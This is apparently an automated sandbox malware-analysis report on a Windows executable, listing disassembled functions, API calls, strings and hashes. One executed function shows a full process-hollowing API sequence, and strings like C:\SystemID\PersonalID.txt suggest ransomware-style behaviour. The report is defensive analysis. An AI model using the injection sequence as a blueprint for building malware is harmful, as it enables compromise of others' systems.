Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00620000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: efacfe8a7822f511a106dcd20e6e7bf1a1e7fcbd7ce4ae236d875aaf3405b2f1
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: efacfe8a7822f511a106dcd20e6e7bf1a1e7fcbd7ce4ae236d875aaf3405b2f1
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Uniqueness

Uniqueness Score: -1.00%

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

invalid string position, xrefs: 00414C3D
string too long, xrefs: 00414C33

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

invalid string position, xrefs: 00417EDF
string too long, xrefs: 00417EE9

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Uniqueness

Uniqueness Score: -1.00%

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000080,00000000,?,?,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(?,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

I:\5d2860c89d774.jpg, xrefs: 0041B32F
%username%, xrefs: 0041B283

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Uniqueness

Uniqueness Score: -1.00%

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

unknown, xrefs: 0045175D
.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Uniqueness

Uniqueness Score: -1.00%

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Uniqueness

Uniqueness Score: -1.00%

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: 7904872b51d802953746902f9a5302fc6c485efb715002b991a685ebf37c2d21
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: 7904872b51d802953746902f9a5302fc6c485efb715002b991a685ebf37c2d21
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID\PersonalID.txt, xrefs: 0040C956
C:\SystemID, xrefs: 0040C946

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Uniqueness

Uniqueness Score: -1.00%

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Uniqueness

Uniqueness Score: -1.00%

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E
.\crypto\evp\digest.c, xrefs: 00480638

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Uniqueness

Uniqueness Score: -1.00%

Function 0044F23E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F251

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F266

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

TeM, xrefs: 0044F25B, 0044F247

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Copy_strExceptionException@8RaiseThrowstd::exception::_std::exception::exception
String ID: TeM
API String ID: 757275642-2215902641
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: d1ee5d24d6598838e25116ba354c7cf631fb5eda6106ebacc41b25e9fbee45cd
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 8FD06774D0020DBBCB04EFA5D59ACCDBBB8AA04348F009567AD1597241EA78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: kOVwcHSfrR.exePID: 7964, Parent PID: 7808COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	38
Total number of Limit Nodes:	8

Executed Functions

Function 02850110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02850156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0285016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02850255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02850270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02850283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 0285029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 028502C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 028502E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02850304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0285032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02850399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 028503BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 028503E1
ResumeThread.KERNELBASE(00000000), ref: 028503ED
ExitProcess.KERNEL32(00000000), ref: 02850412

Memory Dump Source

Source File: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2850000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: e6b132733e4579ee858640763341302a25a16ba782fff19dbba96ef3eec56936
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: A4B1C874A00208AFDB44CF98C895F9EBBB5FF88314F248158E909AB391D771AD41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02850420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02850533

Strings

saodkfnosa9uin, xrefs: 028504DA
0, xrefs: 02850492
mfoaskdfnoa, xrefs: 02850520, 02850523
d, xrefs: 02850584

Memory Dump Source

Source File: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2850000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 9e5ad876e2e967a824d5aa2dabf245b96f17b52827a7f52118567414221a3c0a
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 46511874D08388DEEB11CBE8C849BDDBFB2AF15708F144058D9487F286C3BA5658CB66

Uniqueness

Uniqueness Score: -1.00%

Function 028505B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 028505EC

Strings

o, xrefs: 02850600
apfHQ, xrefs: 028505E2, 028505E5

Memory Dump Source

Source File: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2850000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 730880793ba7b9d0d88b99ebd9256323456715602ea83f2902d84466ef2d2eb2
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: C6011E74C0425CEADF10DBD8C5183AEBFF5AF45309F1480D9C8096B242D7769B58CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 026C87C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 026C87EE
Module32First.KERNEL32(00000000,00000224), ref: 026C880E

Memory Dump Source

Source File: 0000000A.00000002.1325933597.00000000026C8000.00000040.00000020.00020000.00000000.sdmp, Offset: 026C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_26c8000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: a27711df9da1345ce1d80f114cbd3282e68a96590bb5d10b80b596f0df369092
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 0DF096312017106FD7313BF5A88DBBE76E8EF49629F20053DE642E25C0DB70E8454A61

Uniqueness

Uniqueness Score: -1.00%

Function 026C8485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 026C84D6

Memory Dump Source

Source File: 0000000A.00000002.1325933597.00000000026C8000.00000040.00000020.00020000.00000000.sdmp, Offset: 026C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_26c8000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 115179c29b3cf825977b772760e286cc817759ed3c01646c35c4afabd5c2bbc6
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 29113C79A00208EFDB01DF98C985E99BBF5EF08351F1580A4F9489B361D371EA90DF94

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02876437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 0287644E

Part of subcall function 02879636: __calloc_impl.LIBCMT ref: 02879645

__calloc_crt.LIBCMT ref: 02876472
_free.LIBCMT ref: 02876480
__calloc_crt.LIBCMT ref: 0287648E
_free.LIBCMT ref: 0287649E
_free.LIBCMT ref: 028764A4
__copytlocinfo_nolock.LIBCMT ref: 028764B3
__setmbcp_nolock.LIBCMT ref: 028764D4
_free.LIBCMT ref: 028764E2
___removelocaleref.LIBCMT ref: 028764E9
___freetlocinfo.LIBCMT ref: 028764F0
_free.LIBCMT ref: 028764F6

Memory Dump Source

Source File: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2850000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8af4da207d097f3583d31ac357d16b98a971d537774f87421b44d7f7f015e720
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7721DE3D104A21AAEB357F69C805E1B7BEADF41760F508029E49CD54A0FB22C540CF52

Uniqueness

Uniqueness Score: -1.00%

Function 02873F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 02873F51

Part of subcall function 02875BA8: __getptd_noexit.LIBCMT ref: 02875BA8

__gmtime64_s.LIBCMT ref: 02873FEA
__gmtime64_s.LIBCMT ref: 02874020
__gmtime64_s.LIBCMT ref: 0287403D
__allrem.LIBCMT ref: 02874093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 028740AF
__allrem.LIBCMT ref: 028740C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 028740E4
__allrem.LIBCMT ref: 028740FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02874119
__invoke_watson.LIBCMT ref: 0287418A

Memory Dump Source

Source File: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2850000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: b60b4f1ea0acdd3ac2cf4717321382ed66b6e9a13a86a7a571a2889fc5e545c7
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 1371FB7EA00B16ABE714AE7DCC41B6AB3B9BF10364F144179E918E7680E770D9448BD2

Uniqueness

Uniqueness Score: -1.00%

Function 0287650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 02876547
__calloc_crt.LIBCMT ref: 02876598
__lock.LIBCMT ref: 028765AE
__copytlocinfo_nolock.LIBCMT ref: 028765BF
_wcscmp.LIBCMT ref: 028765F9
__lock.LIBCMT ref: 02876610
__updatetlocinfoEx_nolock.LIBCMT ref: 02876622
___removelocaleref.LIBCMT ref: 02876628
__updatetlocinfoEx_nolock.LIBCMT ref: 02876647

Memory Dump Source

Source File: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2850000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 9f4b4eb2a1f2de8aabb82a366376a0c80b98c1567233e2f149ad308c9aa3722a
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 8041043E904719AFDB00AFA8D880B9E3BFAEF44324F10842DE918D6191EB75D544EF52

Uniqueness

Uniqueness Score: -1.00%

Function 028784AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 028784B1
_free.LIBCMT ref: 028784E2
_free.LIBCMT ref: 028784F5
_free.LIBCMT ref: 02878513
_free.LIBCMT ref: 02878525
_free.LIBCMT ref: 02878536
_free.LIBCMT ref: 02878541
_free.LIBCMT ref: 02878565
_free.LIBCMT ref: 02878581
_free.LIBCMT ref: 02878597
_free.LIBCMT ref: 028785BF

Memory Dump Source

Source File: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2850000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: bbb1901d117c53ae7ab833c798e170171e2482133dde03fd9ecdaebfc034e205
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 0831823D900250DBCB255F58FCC884977A6FB14724B04862AE91DD72A0CBB4D9C9AF95

Uniqueness

Uniqueness Score: -1.00%

Function 0289FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0289FC1F

Part of subcall function 0288169C: std::exception::_Copy_str.LIBCMT ref: 028816B5

__CxxThrowException@8.LIBCMT ref: 0289FC34
std::exception::exception.LIBCMT ref: 0289FC4D
__CxxThrowException@8.LIBCMT ref: 0289FC62
